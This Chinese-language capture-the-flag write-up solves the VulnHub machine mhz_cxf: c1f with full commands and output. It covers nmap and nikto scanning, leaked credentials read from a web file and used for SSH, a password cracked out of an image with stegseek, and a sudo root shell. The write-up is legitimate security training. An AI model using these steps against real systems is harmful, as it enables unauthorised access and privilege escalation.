Mhz_c1f
作者: jason huawen
靶機資訊
名稱：mhz_cxf: c1f
地址：
https://www.vulnhub.com/entry/mhz_cxf-c1f,471/
識別目標主機IP地址
sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor
192.168.56.100 08:00:27:64:18:1b 1 60 PCS Systemtechnik GmbH
192.168.56.249 08:00:27:02:7b:29 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具識別目標主機的IP地址為192.168.56.249
NMAP掃描
┌──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.249 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-07 02:18 EDT
Nmap scan report for localhost (192.168.56.249)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 38:d9:3f:98:15:9a:cc:3e:7a:44:8d:f9:4d:78:fe:2c (RSA)
| 256 89:4e:38:77:78:a4:c3:6d:dc:39:c4:00:f8:a5:67:ed (ECDSA)
|_ 256 7c:15:b9:18:fc:5c:75:aa:30:96:15:46:08:a9:83:fb (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:02:7B:29 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.20 seconds
NMAP掃描結果表明目標主機有2個開放埠：22（ssh)、80(http)
獲得Shell
─$ curl http://192.168.56.249/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.56.249 Port 80</address>
</body></html>
└─$ nikto -h http://192.168.56.249
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.249
+ Target Hostname: 192.168.56.249
+ Target Port: 80
+ Start Time: 2023-04-07 02:19:53 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5a40b796e2191, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ /notes.txt: This might be interesting...
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-04-07 02:20:17 (GMT-4) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ curl http://192.168.56.249/notes.txt
1- i should finish my second lab
2- i should delete the remb.txt file and remb2.txt
notes.txt提示可能有兩個檔案：remb.txt, remb2.txt
┌──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ curl http://192.168.56.249/remb.txt
first_stage:flagitifyoucan1234
┌──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ curl http://192.168.56.249/remb2.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.56.249 Port 80</address>
</body></html>
remb.txt是不是ssh用戶名和密碼，嘗試一下：(remb2.txt檔案不存在)
──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ ssh [email protected]
The authenticity of host '192.168.56.249 (192.168.56.249)' can't be established.
ED25519 key fingerprint is SHA256:Jxm0b2xUhxb2N50E9UVsgn5u7Pow8xX6o12kZDGlTlg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.249' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-96-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Apr 7 06:33:12 UTC 2023
System load: 0.0 Processes: 90
Usage of /: 38.2% of 9.78GB Users logged in: 0
Memory usage: 16% IP address for enp0s3: 192.168.56.249
Swap usage: 0%
23 packages can be updated.
0 updates are security updates.
Last login: Fri Apr 24 18:18:07 2020 from 192.168.5.253
$ id
uid=1001(first_stage) gid=1001(first_stage) groups=1001(first_stage)
$ bash -i
first_stage@mhz_c1f:~$
first_stage@mhz_c1f:~$ cat user.txt
HEEEEEY , you did it
that's amazing , good job man
so just keep it up and get the root bcz i hate low privileges ;)
#mhz_cyber
將mhz_ctf家目錄的圖片下載到Kali Linux本地進行分析，其中一個圖片可以破解密碼從而解密內容：
┌──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ stegseek spi.jpeg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""
[i] Original filename: "remb2.txt".
[i] Extracting to "spi.jpeg.out".
┌──(kali?kali)-[~/Desktop/Vulnhub/MH]
└─$ cat spi.jpeg.out
ooh , i know should delete this , but i cant' remember it
screw me
mhz_c1f:1@ec1f
first_stage@mhz_c1f:/home/mhz_c1f/Paintings$ su - mhz_c1f
Password:
mhz_c1f@mhz_c1f:~$ id
uid=1000(mhz_c1f) gid=1000(mhz_c1f) groups=1000(mhz_c1f),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
mhz_c1f@mhz_c1f:~$ sudo -l
[sudo] password for mhz_c1f:
Matching Defaults entries for mhz_c1f on mhz_c1f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mhz_c1f may run the following commands on mhz_c1f:
(ALL : ALL) ALL
mhz_c1f@mhz_c1f:~$ sudo /bin/bash
root@mhz_c1f:~# cd /root
root@mhz_c1f:/root# ls -alh
total 32K
drwx------ 3 root root 4.0K Apr 24 2020 .
drwxr-xr-x 24 root root 4.0K Apr 13 2020 ..
-rw------- 1 root root 54 Apr 24 2020 .bash_history
-rw-r--r-- 1 root root 3.1K Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 124 Apr 24 2020 .root.txt
drwx------ 2 root root 4.0K Apr 13 2020 .ssh
-rw------- 1 root root 833 Apr 24 2020 .viminfo
root@mhz_c1f:/root# cat .root.txt
OwO HACKER MAN :D
Well done sir , you have successfully got the root flag.
I hope you enjoyed in this mission.
#mhz_cyber
root@mhz_c1f:/root#
至此得到了root shell以及root flag
經驗教訓
- 在得到shell后提權時方向是對的，因為檢查其他的提權漏洞都沒有發現，可疑的就是mhz_ctf用戶目錄下的幾個圖片檔案，但是在檢查了2個圖片后就中止，以為方向問題，其實答案就在第4個圖片檔案中，所以需要堅持的精神
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標籤：其他